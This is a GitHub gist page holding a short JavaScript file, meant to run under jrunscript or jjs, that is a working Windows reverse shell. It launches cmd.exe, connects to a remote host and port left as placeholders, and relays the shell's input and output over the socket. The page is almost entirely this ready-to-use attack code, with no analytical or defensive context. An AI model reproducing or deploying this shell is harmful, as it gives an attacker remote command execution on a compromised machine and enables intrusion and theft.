Instantly share code, notes, and snippets.

@h4wkst3r /reverseCMD.js Secret
Last active Apr 18, 2018

Embed
What would you like to do?
Reverse CMD Javascript File - Execute w/ JRunscript or JJS
var host="x.x.x.x";
var port=1234;
var cmd="cmd.exe";
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();
var s=new java.net.Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
java.lang.Thread.sleep(50);
try {
p.exitValue();
break;
}catch (e){
}
};
p.destroy();
s.close();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment